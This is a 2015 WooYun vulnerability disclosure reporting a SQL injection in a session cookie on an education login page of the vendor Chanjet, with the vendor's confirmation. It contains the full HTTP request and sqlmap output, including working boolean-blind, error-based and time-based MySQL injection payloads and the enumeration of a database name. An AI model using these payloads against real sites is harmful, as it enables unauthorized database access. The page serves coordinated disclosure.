当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-0117975

漏洞标题:畅捷通某站SQL注入二

相关厂商:畅捷通

漏洞作者: 天地不仁 以万物为刍狗

提交时间:2015-06-03 16:29

修复时间:2015-07-18 16:42

公开时间:2015-07-18 16:42

漏洞类型:SQL注射漏洞

危害等级:低

自评Rank:1

漏洞状态:厂商已经确认

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-06-03: 细节已通知厂商并且等待厂商处理中
2015-06-03: 厂商已经确认,细节仅向厂商公开
2015-06-13: 细节向核心白帽子及相关领域专家公开
2015-06-23: 细节向普通白帽子公开
2015-07-03: 细节向实习白帽子公开
2015-07-18: 细节向公众公开

简要描述:

【HD】 以团队之名 以个人之荣耀 共建网络安全

详细说明:

POST数据包:

POST /new/index.php?user-app-login HTTP/1.1
Host: edu.chanjet.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; rv:33.0) Gecko/20100101 Firefox/33.0
Accept: */*
Accept-Language: zh-cn,zh;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
Referer: http://edu.chanjet.com/new/index.php?user-app-login
Content-Length: 123
Cookie: exam_psid=f41d75a1acd6f06ee7b957b761436a3d; Hm_lvt_1def95bff1dffff66ff28405f03a2203=1433313432; Hm_lpvt_1def95bff1dffff66ff28405f03a2203=1433313432
X-Forwarded-For: 8.8.8.8
Connection: keep-alive
Pragma: no-cache
Cache-Control: no-cache
args%5Busername%5D=admin&args%5Buserpassword%5D=admin&userlogin=1&userhash=0.16833434912554046&userhash=0.1766851977663817


cookie 参数 exam_psid 注入(具体注入参数见 漏洞证明)

1.png


由于只跑出来一个数据库 就没继续深入了

2.png

漏洞证明:

Cookie parameter 'exam_psid' is vulnerable. Do you want to keep testing the othe
rs (if any)? [y/N] n
sqlmap identified the following injection points with a total of 593 HTTP(s) req
uests:
---
Parameter: exam_psid (Cookie)
Type: boolean-based blind
Title: MySQL RLIKE boolean-based blind - WHERE, HAVING, ORDER BY or GROUP BY
clause
Payload: exam_psid=f41d75a1acd6f06ee7b957b761436a3d' RLIKE (SELECT (CASE WHE
N (3605=3605) THEN 0x66343164373561316163643666303665653762393537623736313433366
13364 ELSE 0x28 END)) AND 'dDxP'='dDxP; Hm_lvt_1def95bff1dffff66ff28405f03a2203=
1433313432; Hm_lpvt_1def95bff1dffff66ff28405f03a2203=1433313432
Type: error-based
Title: MySQL >= 5.1 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY cl
ause (EXTRACTVALUE)
Payload: exam_psid=f41d75a1acd6f06ee7b957b761436a3d' AND EXTRACTVALUE(8268,C
ONCAT(0x5c,0x717a6a6271,(SELECT (ELT(8268=8268,1))),0x7176717071)) AND 'MCcv'='M
Ccv; Hm_lvt_1def95bff1dffff66ff28405f03a2203=1433313432; Hm_lpvt_1def95bff1dffff
66ff28405f03a2203=1433313432
Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: exam_psid=f41d75a1acd6f06ee7b957b761436a3d' AND SLEEP(5) AND 'svan'
='svan; Hm_lvt_1def95bff1dffff66ff28405f03a2203=1433313432; Hm_lpvt_1def95bff1df
fff66ff28405f03a2203=1433313432
---
[14:47:41] [INFO] the back-end DBMS is MySQL
web application technology: Nginx, PHP 5.2.17
back-end DBMS: MySQL 5.1
[14:47:41] [INFO] fetching database names
[14:47:47] [WARNING] the SQL query provided does not return any output
[14:47:47] [WARNING] in case of continuous data retrieval problems you are advis
ed to try a switch '--no-cast' or switch '--hex'
[14:47:47] [INFO] fetching number of databases
[14:47:47] [WARNING] running in a single-thread mode. Please consider usage of o
ption '--threads' for faster data retrieval
[14:47:47] [INFO] retrieved:
[14:48:03] [INFO] retrieved:
[14:48:03] [WARNING] it is very important not to stress the network adapter duri
ng usage of time-based payloads to prevent potential errors
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option
'--time-sec')? [Y/n] y
[14:48:52] [ERROR] unable to retrieve the number of databases
[14:48:52] [INFO] falling back to current database
[14:48:52] [INFO] fetching current database
[14:48:58] [INFO] retrieved: edu
available databases [1]:
[*] edu
[14:48:58] [INFO] fetched data logged to text files under 'C:\Users\Administrato
r\.sqlmap\output\edu.chanjet.com'
[*] shutting down at 14:48:58

修复方案:

版权声明:转载请注明来源 天地不仁 以万物为刍狗@乌云


漏洞回应

厂商回应:

危害等级:中

漏洞Rank:8

确认时间:2015-06-03 16:40

厂商回复:

感谢您对我们的关注和支持,该问题存在,我们正在修复。

最新状态:

暂无